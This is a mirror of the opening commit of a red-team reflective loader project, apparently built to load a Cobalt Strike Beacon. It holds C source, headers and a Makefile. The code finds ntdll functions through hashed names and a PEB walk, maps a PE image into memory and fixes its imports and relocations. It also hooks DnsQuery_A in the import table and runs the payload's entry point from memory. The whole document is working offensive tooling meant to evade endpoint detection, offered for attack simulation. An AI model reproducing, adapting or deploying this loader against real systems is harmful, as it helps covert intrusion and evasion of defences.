mirror of
https://github.com/benheise/TitanLdr
synced 2026-06-06 15:14:33 +00:00
commit start of project.
This commit is contained in:
@@ -0,0 +1,29 @@
|
|||||||
|
/**
|
||||||
|
*
|
||||||
|
* Reflective Loader
|
||||||
|
*
|
||||||
|
* GuidePoint Security LLC
|
||||||
|
*
|
||||||
|
* Threat and Attack Simulation
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
/* Include core defs */
|
||||||
|
#include <windows.h>
|
||||||
|
#include <wininet.h>
|
||||||
|
#include <windns.h>
|
||||||
|
#include <ntstatus.h>
|
||||||
|
#include "Native.h"
|
||||||
|
#include "Macros.h"
|
||||||
|
|
||||||
|
/* Include Library */
|
||||||
|
#include "Labels.h"
|
||||||
|
#include "Hash.h"
|
||||||
|
#include "Peb.h"
|
||||||
|
#include "Ldr.h"
|
||||||
|
#include "Pe.h"
|
||||||
|
|
||||||
|
/* Include Hooks! */
|
||||||
|
#include "hooks/DnsQuery_A.h"
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
/**
|
||||||
|
*
|
||||||
|
* Reflective Loader
|
||||||
|
*
|
||||||
|
* GuidePoint Security LLC
|
||||||
|
*
|
||||||
|
* Threat and Attack Simulation
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#include "Common.h"
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Creates a hash summary of the input buffer.
|
||||||
|
* If a length is not provided, it assumes it
|
||||||
|
* is NULL terminated.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( E ) UINT32 HashString( _In_ PVOID Buffer, _In_opt_ ULONG Length )
|
||||||
|
{
|
||||||
|
UCHAR Cur = 0;
|
||||||
|
ULONG Djb = 0;
|
||||||
|
PUCHAR Ptr = NULL;
|
||||||
|
|
||||||
|
Djb = 5381;
|
||||||
|
Ptr = C_PTR( Buffer );
|
||||||
|
|
||||||
|
while ( TRUE ) {
|
||||||
|
/* Get the current character */
|
||||||
|
Cur = * Ptr;
|
||||||
|
|
||||||
|
if ( ! Length ) {
|
||||||
|
/* NULL terminated? */
|
||||||
|
if ( ! * Ptr ) {
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
} else {
|
||||||
|
/* Position exceed the length of the buffer? */
|
||||||
|
if ( ( ULONG )( Ptr - ( PUCHAR ) Buffer ) >= Length ) {
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
/* NULL terminated? */
|
||||||
|
if ( ! * Ptr ) {
|
||||||
|
++Ptr; continue;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
/* Lowercase */
|
||||||
|
if ( Cur >= 'a' ) {
|
||||||
|
Cur -= 0x20;
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Hash the character */
|
||||||
|
Djb = ( ( Djb << 5 ) + Djb ) + Cur; ++Ptr;
|
||||||
|
};
|
||||||
|
return Djb;
|
||||||
|
};
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
/**
|
||||||
|
*
|
||||||
|
* Reflective Loader
|
||||||
|
*
|
||||||
|
* GuidePoint Security LLC
|
||||||
|
*
|
||||||
|
* Threat and Attack Simulation
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Creates a hash summary of the input buffer.
|
||||||
|
* If a length is not provided, it assumes it
|
||||||
|
* is NULL terminated.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( E ) UINT32 HashString( _In_ PVOID Buffer, _In_opt_ ULONG Length );
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
/**
|
||||||
|
*
|
||||||
|
* Reflective Loader
|
||||||
|
*
|
||||||
|
* GuidePoint Security LLC
|
||||||
|
*
|
||||||
|
* Threat and Attack Simulation
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
static ULONG_PTR Start( VOID );
|
||||||
|
static ULONG_PTR GetIp( VOID );
|
||||||
|
static ULONG_PTR Hooks( VOID );
|
||||||
@@ -0,0 +1,171 @@
|
|||||||
|
/**
|
||||||
|
*
|
||||||
|
* Reflective Loader
|
||||||
|
*
|
||||||
|
* GuidePoint Security LLC
|
||||||
|
*
|
||||||
|
* Threat and Attack SimulatioN
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#include "Common.h"
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
WORD Offset : 0xc;
|
||||||
|
WORD Type : 0x4;
|
||||||
|
} IMAGE_RELOC, *PIMAGE_RELOC ;
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
D_API( RtlAnsiStringToUnicodeString );
|
||||||
|
D_API( LdrGetProcedureAddress );
|
||||||
|
D_API( RtlFreeUnicodeString );
|
||||||
|
D_API( RtlInitAnsiString );
|
||||||
|
D_API( LdrLoadDll );
|
||||||
|
} API;
|
||||||
|
|
||||||
|
#define H_API_RTLANSISTRINGTOUNICODESTRING 0x6c606cba /* RtlAnsiStringToUnicodeString */
|
||||||
|
#define H_API_LDRGETPROCEDUREADDRESS 0xfce76bb6 /* LdrGetProcedureAddress */
|
||||||
|
#define H_API_RTLFREEUNICODESTRING 0x61b88f97 /* RtlFreeUnicodeString */
|
||||||
|
#define H_API_RTLINITANSISTRING 0xa0c8436d /* RtlInitAnsiString */
|
||||||
|
#define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */
|
||||||
|
#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Resolves the required imports and fills
|
||||||
|
* in their respective entries.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( E ) VOID LdrProcessIat( _In_ PVOID Image, _In_ PVOID Directory )
|
||||||
|
{
|
||||||
|
API Api;
|
||||||
|
ANSI_STRING Ani;
|
||||||
|
UNICODE_STRING Unm;
|
||||||
|
|
||||||
|
PVOID Mod = NULL;
|
||||||
|
PVOID Fcn = NULL;
|
||||||
|
PIMAGE_THUNK_DATA Otd = NULL;
|
||||||
|
PIMAGE_THUNK_DATA Ntd = NULL;
|
||||||
|
PIMAGE_IMPORT_BY_NAME Ibn = NULL;
|
||||||
|
PIMAGE_IMPORT_DESCRIPTOR Imp = NULL;
|
||||||
|
|
||||||
|
RtlSecureZeroMemory( &Api, sizeof( Api ) );
|
||||||
|
RtlSecureZeroMemory( &Ani, sizeof( Ani ) );
|
||||||
|
RtlSecureZeroMemory( &Unm, sizeof( Unm ) );
|
||||||
|
|
||||||
|
Api.RtlAnsiStringToUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLANSISTRINGTOUNICODESTRING );
|
||||||
|
Api.LdrGetProcedureAddress = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRGETPROCEDUREADDRESS );
|
||||||
|
Api.RtlFreeUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEUNICODESTRING );
|
||||||
|
Api.RtlInitAnsiString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITANSISTRING );
|
||||||
|
Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL );
|
||||||
|
|
||||||
|
/* Enumerate the directory. */
|
||||||
|
for ( Imp = C_PTR( Directory ) ; Imp->Name != 0 ; ++Imp ) {
|
||||||
|
Api.RtlInitAnsiString( &Ani, C_PTR( U_PTR( Image ) + Imp->Name ) );
|
||||||
|
|
||||||
|
if ( NT_SUCCESS( Api.RtlAnsiStringToUnicodeString( &Unm, &Ani, TRUE ) ) ) {
|
||||||
|
if ( NT_SUCCESS( Api.LdrLoadDll( NULL, 0, &Unm, &Mod ) ) ) {
|
||||||
|
Otd = C_PTR( U_PTR( Image ) + Imp->OriginalFirstThunk );
|
||||||
|
Ntd = C_PTR( U_PTR( Image ) + Imp->FirstThunk );
|
||||||
|
|
||||||
|
/* Enumerate Function Imports */
|
||||||
|
for ( ; Otd->u1.AddressOfData != 0 ; ++Otd, ++Ntd ) {
|
||||||
|
if ( IMAGE_SNAP_BY_ORDINAL( Otd->u1.Ordinal ) ) {
|
||||||
|
/* Is Integer? Import */
|
||||||
|
if ( NT_SUCCESS( Api.LdrGetProcedureAddress( Mod, NULL, IMAGE_ORDINAL( Otd->u1.Ordinal ), &Fcn ) ) ) {
|
||||||
|
Ntd->u1.Function = Fcn;
|
||||||
|
};
|
||||||
|
} else {
|
||||||
|
/* Is String? Import */
|
||||||
|
Ibn = C_PTR( U_PTR( Image ) + Otd->u1.AddressOfData );
|
||||||
|
Api.RtlInitAnsiString( &Ani, C_PTR( Ibn->Name ) );
|
||||||
|
|
||||||
|
if ( NT_SUCCESS( Api.LdrGetProcedureAddress( Mod, &Ani, 0, &Fcn ) ) ) {
|
||||||
|
Ntd->u1.Function = Fcn;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
};
|
||||||
|
};
|
||||||
|
Api.RtlFreeUnicodeString( &Unm );
|
||||||
|
};
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Relocates the PE based on its relative base.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( E ) VOID LdrProcessRel( _In_ PVOID Image, _In_ PVOID Directory, _In_ PVOID ImageBase )
|
||||||
|
{
|
||||||
|
ULONG_PTR Ofs = 0;
|
||||||
|
|
||||||
|
PIMAGE_RELOC Rel = NULL;
|
||||||
|
PIMAGE_BASE_RELOCATION Ibr = NULL;
|
||||||
|
|
||||||
|
Ibr = C_PTR( Directory );
|
||||||
|
Ofs = C_PTR( U_PTR( Image ) - U_PTR( ImageBase ) );
|
||||||
|
|
||||||
|
/* Is a relocation! */
|
||||||
|
while ( Ibr->VirtualAddress != 0 ) {
|
||||||
|
Rel = ( PIMAGE_RELOC )( Ibr + 1 );
|
||||||
|
|
||||||
|
/* Exceed the size of the relocation? */
|
||||||
|
while ( C_PTR( Rel ) != C_PTR( U_PTR( Ibr ) + Ibr->SizeOfBlock ) ) {
|
||||||
|
switch( Rel->Type ) {
|
||||||
|
/* 8 wide */
|
||||||
|
case IMAGE_REL_BASED_DIR64:
|
||||||
|
*( DWORD64 * )( U_PTR( Image ) + Ibr->VirtualAddress + Rel->Offset ) += ( DWORD64 )( Ofs );
|
||||||
|
break;
|
||||||
|
/* 4 wide */
|
||||||
|
case IMAGE_REL_BASED_HIGHLOW:
|
||||||
|
*( DWORD32 * )( U_PTR( Image ) + Ibr->VirtualAddress + Rel->Offset ) += ( DWORD32 )( Ofs );
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
++Rel;
|
||||||
|
};
|
||||||
|
Ibr = C_PTR( Rel );
|
||||||
|
};
|
||||||
|
};
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Applies a hook the import table of a PE.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( E ) VOID LdrHookImport( _In_ PVOID Image, _In_ PVOID Directory, _In_ ULONG Hash, _In_ PVOID Function )
|
||||||
|
{
|
||||||
|
ULONG Djb = 0;
|
||||||
|
|
||||||
|
PIMAGE_THUNK_DATA Otd = NULL;
|
||||||
|
PIMAGE_THUNK_DATA Ntd = NULL;
|
||||||
|
PIMAGE_IMPORT_BY_NAME Ibn = NULL;
|
||||||
|
PIMAGE_IMPORT_DESCRIPTOR Imp = NULL;
|
||||||
|
|
||||||
|
for ( Imp = C_PTR( Directory ) ; Imp->Name != 0 ; ++Imp ) {
|
||||||
|
Otd = C_PTR( U_PTR( Image ) + Imp->OriginalFirstThunk );
|
||||||
|
Ntd = C_PTR( U_PTR( Image ) + Imp->FirstThunk );
|
||||||
|
|
||||||
|
for ( ; Otd->u1.AddressOfData != 0 ; ++Otd, ++Ntd ) {
|
||||||
|
if ( ! IMAGE_SNAP_BY_ORDINAL( Otd->u1.Ordinal ) ) {
|
||||||
|
Ibn = C_PTR( U_PTR( Image ) + Otd->u1.AddressOfData );
|
||||||
|
Djb = HashString( Ibn->Name, 0 );
|
||||||
|
|
||||||
|
if ( Djb == Hash ) {
|
||||||
|
Ntd->u1.Function = C_PTR( Function );
|
||||||
|
};
|
||||||
|
};
|
||||||
|
};
|
||||||
|
};
|
||||||
|
};
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
/**
|
||||||
|
*
|
||||||
|
* Reflective Loader
|
||||||
|
*
|
||||||
|
* GuidePoint Security LLC
|
||||||
|
*
|
||||||
|
* Threat and Attack SimulatioN
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Resolves the required imports and fills
|
||||||
|
* in their respective entries.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( E ) VOID LdrProcessIat( _In_ PVOID Image, _In_ PVOID Directory );
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Relocates the PE based on its relative base.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( E ) VOID LdrProcessRel( _In_ PVOID Image, _In_ PVOID Directory, _In_ PVOID ImageBase );
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Applies a hook the import table of a PE.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( E ) VOID LdrHookImport( _In_ PVOID Image, _In_ PVOID Directory, _In_ ULONG Hash, _In_ PVOID Function );
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
/**
|
||||||
|
*
|
||||||
|
* Reflective Loader
|
||||||
|
*
|
||||||
|
* GuidePoint Security LLC
|
||||||
|
*
|
||||||
|
* Threat and Attack Simulation
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
/* Gets a pointer to the function or string via its relative offset to GetIp() */
|
||||||
|
#define G_SYM( x ) ( ULONG_PTR )( GetIp( ) - ( ( ULONG_PTR ) & GetIp - ( ULONG_PTR ) x ) )
|
||||||
|
|
||||||
|
/* Sets a function in a specific region of memory */
|
||||||
|
#define D_SEC( x ) __attribute__(( section( ".text$" #x ) ))
|
||||||
|
|
||||||
|
/* Cast as a pointer with the specified typedef */
|
||||||
|
#define D_API( x ) __typeof__( x ) * x
|
||||||
|
|
||||||
|
/* Cast as a unsigned pointer-wide integer type */
|
||||||
|
#define U_PTR( x ) ( ( ULONG_PTR ) x )
|
||||||
|
|
||||||
|
/* Cast as a unsigned pointer-wide type */
|
||||||
|
#define C_PTR( x ) ( ( PVOID ) x )
|
||||||
|
|
||||||
|
/* Arch Specific Macros */
|
||||||
|
#if defined( _WIN64 )
|
||||||
|
/* Get the end of code: x64 */
|
||||||
|
#define G_END( x ) U_PTR( GetIp( ) + 11 )
|
||||||
|
#else
|
||||||
|
/* Get the end of code: x86 */
|
||||||
|
#define G_END( x ) U_PTR( GetIp( ) + 10 )
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,131 @@
|
|||||||
|
/**
|
||||||
|
*
|
||||||
|
* Reflective Loader
|
||||||
|
*
|
||||||
|
* GuidePoint Security LLC
|
||||||
|
*
|
||||||
|
* Threat and Attack Simulation
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#include "Common.h"
|
||||||
|
|
||||||
|
typedef BOOLEAN ( WINAPI * DLLMAIN_T )(
|
||||||
|
HMODULE ImageBase,
|
||||||
|
DWORD Reason,
|
||||||
|
LPVOID Parameter
|
||||||
|
);
|
||||||
|
|
||||||
|
typedef struct
|
||||||
|
{
|
||||||
|
D_API( RtlAnsiStringToUnicodeString );
|
||||||
|
D_API( NtAllocateVirtualMemory );
|
||||||
|
D_API( NtProtectVirtualMemory );
|
||||||
|
D_API( LdrGetProcedureAddress );
|
||||||
|
D_API( RtlFreeUnicodeString );
|
||||||
|
D_API( RtlInitAnsiString );
|
||||||
|
D_API( LdrLoadDll );
|
||||||
|
} API, *PAPI;
|
||||||
|
|
||||||
|
#define H_API_RTLANSISTRINGTOUNICODESTRING 0x6c606cba /* RtlAnsiStringToUnicodeString */
|
||||||
|
#define H_API_NTALLOCATEVIRTUALMEMORY 0xf783b8ec /* NtAllocateVirtualMemory */
|
||||||
|
#define H_API_NTPROTECTVIRTUALMEMORY 0x50e92888 /* NtProtectVirtualMemory */
|
||||||
|
#define H_API_LDRGETPROCEDUREADDRESS 0xfce76bb6 /* LdrGetProcedureAddress */
|
||||||
|
#define H_API_RTLFREEUNICODESTRING 0x61b88f97 /* RtlFreeUnicodeString */
|
||||||
|
#define H_API_RTLINITANSISTRING 0xa0c8436d /* RtlInitAnsiString */
|
||||||
|
#define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */
|
||||||
|
#define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */
|
||||||
|
|
||||||
|
#ifndef PTR_TO_HOOK
|
||||||
|
#define PTR_TO_HOOK( a, b ) U_PTR( U_PTR( a ) + G_SYM( b ) - G_SYM( Hooks ) )
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Loads Beacon into memory and executes its
|
||||||
|
* entrypoint.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( B ) VOID WINAPI Titan( VOID )
|
||||||
|
{
|
||||||
|
API Api;
|
||||||
|
|
||||||
|
SIZE_T Prm = 0;
|
||||||
|
SIZE_T SLn = 0;
|
||||||
|
SIZE_T ILn = 0;
|
||||||
|
SIZE_T Idx = 0;
|
||||||
|
SIZE_T MLn = 0;
|
||||||
|
|
||||||
|
PVOID Mem = NULL;
|
||||||
|
PVOID Map = NULL;
|
||||||
|
DLLMAIN_T Ent = NULL;
|
||||||
|
PIMAGE_DOS_HEADER Dos = NULL;
|
||||||
|
PIMAGE_NT_HEADERS Nth = NULL;
|
||||||
|
PIMAGE_SECTION_HEADER Sec = NULL;
|
||||||
|
PIMAGE_DATA_DIRECTORY Dir = NULL;
|
||||||
|
|
||||||
|
RtlSecureZeroMemory( &Api, sizeof( Api ) );
|
||||||
|
|
||||||
|
/* Initialize API structures */
|
||||||
|
Api.NtAllocateVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTALLOCATEVIRTUALMEMORY );
|
||||||
|
Api.NtProtectVirtualMemory = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTPROTECTVIRTUALMEMORY );
|
||||||
|
|
||||||
|
/* Setup Image Headers */
|
||||||
|
Dos = C_PTR( G_END() );
|
||||||
|
Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew );
|
||||||
|
|
||||||
|
/* Allocate Length For Hooks & Beacon */
|
||||||
|
ILn = ( ( ( Nth->OptionalHeader.SizeOfImage ) + 0x1000 - 1 ) &~( 0x1000 - 1 ) );
|
||||||
|
SLn = ( ( ( G_END() - G_SYM( Hooks ) ) + 0x1000 - 1 ) &~ ( 0x1000 - 1 ) );
|
||||||
|
MLn = ILn + SLn;
|
||||||
|
|
||||||
|
/* Create a page of memory that is marked as R/W */
|
||||||
|
if ( NT_SUCCESS( Api.NtAllocateVirtualMemory( NtCurrentProcess(), &Mem, 0, &MLn, MEM_COMMIT, PAGE_READWRITE ) ) ) {
|
||||||
|
|
||||||
|
/* Copy hooks over the top */
|
||||||
|
__builtin_memcpy( Mem, C_PTR( G_SYM( Hooks ) ), U_PTR( G_END() - G_SYM( Hooks ) ) );
|
||||||
|
|
||||||
|
/* Get pointer to PE Image */
|
||||||
|
Map = C_PTR( U_PTR( Mem ) + SLn );
|
||||||
|
|
||||||
|
/* Copy sections over to new mem */
|
||||||
|
Sec = IMAGE_FIRST_SECTION( Nth );
|
||||||
|
for ( Idx = 0 ; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) {
|
||||||
|
__builtin_memcpy( C_PTR( U_PTR( Map ) + Sec[ Idx ].VirtualAddress ),
|
||||||
|
C_PTR( U_PTR( Dos ) + Sec[ Idx ].PointerToRawData ),
|
||||||
|
Sec[ Idx ].SizeOfRawData );
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Get a pointer to the import table */
|
||||||
|
Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
|
||||||
|
|
||||||
|
if ( Dir->VirtualAddress ) {
|
||||||
|
/* Process Import Table */
|
||||||
|
LdrProcessIat( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ) );
|
||||||
|
LdrHookImport( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), 0x8641aec0, PTR_TO_HOOK( Mem, DnsQuery_A_Hook ) );
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Get a pointer to the relocation table */
|
||||||
|
Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
||||||
|
|
||||||
|
if ( Dir->VirtualAddress ) {
|
||||||
|
/* Process Relocations */
|
||||||
|
LdrProcessRel( C_PTR( Map ), C_PTR( U_PTR( Map ) + Dir->VirtualAddress ), Nth->OptionalHeader.ImageBase );
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Extend to size of PE Section */
|
||||||
|
SLn = SLn + Sec->SizeOfRawData;
|
||||||
|
|
||||||
|
/* Change Memory Protection */
|
||||||
|
if ( NT_SUCCESS( Api.NtProtectVirtualMemory( NtCurrentProcess(), &Mem, &SLn, PAGE_EXECUTE_READ, &Prm ) ) ) {
|
||||||
|
/* Execute EntryPoint */
|
||||||
|
Ent = C_PTR( U_PTR( Map ) + Nth->OptionalHeader.AddressOfEntryPoint );
|
||||||
|
Ent( G_SYM( Start ), 1, NULL );
|
||||||
|
Ent( G_SYM( Start ), 4, NULL );
|
||||||
|
};
|
||||||
|
};
|
||||||
|
return;
|
||||||
|
};
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
CC_X64 := x86_64-w64-mingw32-gcc
|
||||||
|
CC_X86 := i686-w64-mingw32-gcc
|
||||||
|
|
||||||
|
CFLAGS := $(CFLAGS) -Os -fno-asynchronous-unwind-tables -nostdlib
|
||||||
|
CFLAGS := $(CFLAGS) -fno-ident -fpack-struct=8 -falign-functions=1
|
||||||
|
CFLAGS := $(CFLAGS) -s -ffunction-sections -falign-jumps=1 -w
|
||||||
|
CFLAGS := $(CFLAGS) -falign-labels=1 -fPIC -Wl,-TSectionLink.ld
|
||||||
|
LFLAGS := $(LFLAGS) -Wl,-s,--no-seh,--enable-stdcall-fixup
|
||||||
|
|
||||||
|
OUTX64 := Titan.x64.exe
|
||||||
|
OUTX86 := Titan.x86.exe
|
||||||
|
BINX64 := Titan.x64.bin
|
||||||
|
BINX86 := Titan.x86.bin
|
||||||
|
|
||||||
|
all:
|
||||||
|
@ nasm -f win32 asm/x86/Start.asm -o Start.x86.o
|
||||||
|
@ nasm -f win64 asm/x64/Start.asm -o Start.x64.o
|
||||||
|
@ nasm -f win32 asm/x86/GetIp.asm -o GetIp.x86.o
|
||||||
|
@ nasm -f win64 asm/x64/GetIp.asm -o GetIp.x64.o
|
||||||
|
@ $(CC_X86) *.c Start.x86.o GetIp.x86.o hooks/*.c -o $(OUTX86) $(CFLAGS) $(LFLAGS) -I.
|
||||||
|
@ $(CC_X64) *.c Start.x64.o GetIp.x64.o hooks/*.c -o $(OUTX64) $(CFLAGS) $(LFLAGS) -I.
|
||||||
|
@ python3 python3/extract.py -f $(OUTX86) -o $(BINX86)
|
||||||
|
@ python3 python3/extract.py -f $(OUTX64) -o $(BINX64)
|
||||||
|
|
||||||
|
clean:
|
||||||
|
@ rm -rf *.o
|
||||||
|
@ rm -rf *.bin
|
||||||
|
@ rm -rf *.exe
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
/**
|
||||||
|
*
|
||||||
|
* Reflective Loader
|
||||||
|
*
|
||||||
|
* GuidePoint Security LLC
|
||||||
|
*
|
||||||
|
* Threat and Attack Simulation
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#include "Common.h"
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Searches for a export matching the specified hash.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( E ) PVOID PeGetFuncEat( _In_ PVOID Image, _In_ ULONG Hash )
|
||||||
|
{
|
||||||
|
ULONG Idx = 0;
|
||||||
|
PUINT16 Aoo = NULL;
|
||||||
|
PUINT32 Aof = NULL;
|
||||||
|
PUINT32 Aon = NULL;
|
||||||
|
PIMAGE_DOS_HEADER Hdr = NULL;
|
||||||
|
PIMAGE_NT_HEADERS Nth = NULL;
|
||||||
|
PIMAGE_DATA_DIRECTORY Dir = NULL;
|
||||||
|
PIMAGE_EXPORT_DIRECTORY Exp = NULL;
|
||||||
|
|
||||||
|
Hdr = C_PTR( Image );
|
||||||
|
Nth = C_PTR( U_PTR( Hdr ) + Hdr->e_lfanew );
|
||||||
|
Dir = & Nth->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||||
|
|
||||||
|
/* Has a EAT? */
|
||||||
|
if ( Dir->VirtualAddress ) {
|
||||||
|
Exp = C_PTR( U_PTR( Hdr ) + Dir->VirtualAddress );
|
||||||
|
Aon = C_PTR( U_PTR( Hdr ) + Exp->AddressOfNames );
|
||||||
|
Aof = C_PTR( U_PTR( Hdr ) + Exp->AddressOfFunctions );
|
||||||
|
Aoo = C_PTR( U_PTR( Hdr ) + Exp->AddressOfNameOrdinals );
|
||||||
|
|
||||||
|
/* Enumerate exports */
|
||||||
|
for ( Idx = 0 ; Idx < Exp->NumberOfNames ; ++Idx ) {
|
||||||
|
/* Create a hash of the string and compare */
|
||||||
|
if ( HashString( C_PTR( U_PTR( Hdr ) + Aon[ Idx ] ), 0 ) == Hash ) {
|
||||||
|
return C_PTR( U_PTR( Hdr ) + Aof[ Aoo[ Idx ] ] );
|
||||||
|
};
|
||||||
|
};
|
||||||
|
};
|
||||||
|
return NULL;
|
||||||
|
};
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
/**
|
||||||
|
*
|
||||||
|
* Reflective Loader
|
||||||
|
*
|
||||||
|
* GuidePoint Security LLC
|
||||||
|
*
|
||||||
|
* Threat and Attack Simulation
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Searches for a export matching the specified hash.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( E ) PVOID PeGetFuncEat( _In_ PVOID Image, _In_ ULONG Hash );
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
/**
|
||||||
|
*
|
||||||
|
* Reflective Loader
|
||||||
|
*
|
||||||
|
* GuidePoint Security LLC
|
||||||
|
*
|
||||||
|
* Threat and Attack Simulation
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#include "Common.h"
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Finds a module loaded in memory.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( E ) PVOID PebGetModule( _In_ ULONG Hash )
|
||||||
|
{
|
||||||
|
PPEB Peb = NULL;
|
||||||
|
PLIST_ENTRY Hdr = NULL;
|
||||||
|
PLIST_ENTRY Ent = NULL;
|
||||||
|
PLDR_DATA_TABLE_ENTRY Ldr = NULL;
|
||||||
|
|
||||||
|
/* Get pointer to list */
|
||||||
|
Peb = NtCurrentPeb();
|
||||||
|
Hdr = & Peb->Ldr->InLoadOrderModuleList;
|
||||||
|
Ent = Hdr->Flink;
|
||||||
|
|
||||||
|
for ( ; Hdr != Ent ; Ent = Ent->Flink ) {
|
||||||
|
Ldr = C_PTR( Ent );
|
||||||
|
|
||||||
|
/* Compare the DLL Name! */
|
||||||
|
if ( HashString( Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length ) == Hash ) {
|
||||||
|
return Ldr->DllBase;
|
||||||
|
};
|
||||||
|
};
|
||||||
|
return NULL;
|
||||||
|
};
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
/**
|
||||||
|
*
|
||||||
|
* Reflective Loader
|
||||||
|
*
|
||||||
|
* GuidePoint Security LLC
|
||||||
|
*
|
||||||
|
* Threat and Attack Simulation
|
||||||
|
*
|
||||||
|
**/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
/*!
|
||||||
|
*
|
||||||
|
* Purpose:
|
||||||
|
*
|
||||||
|
* Finds a module loaded in memory.
|
||||||
|
*
|
||||||
|
!*/
|
||||||
|
|
||||||
|
D_SEC( E ) PVOID PebGetModule( _In_ ULONG Hash );
|
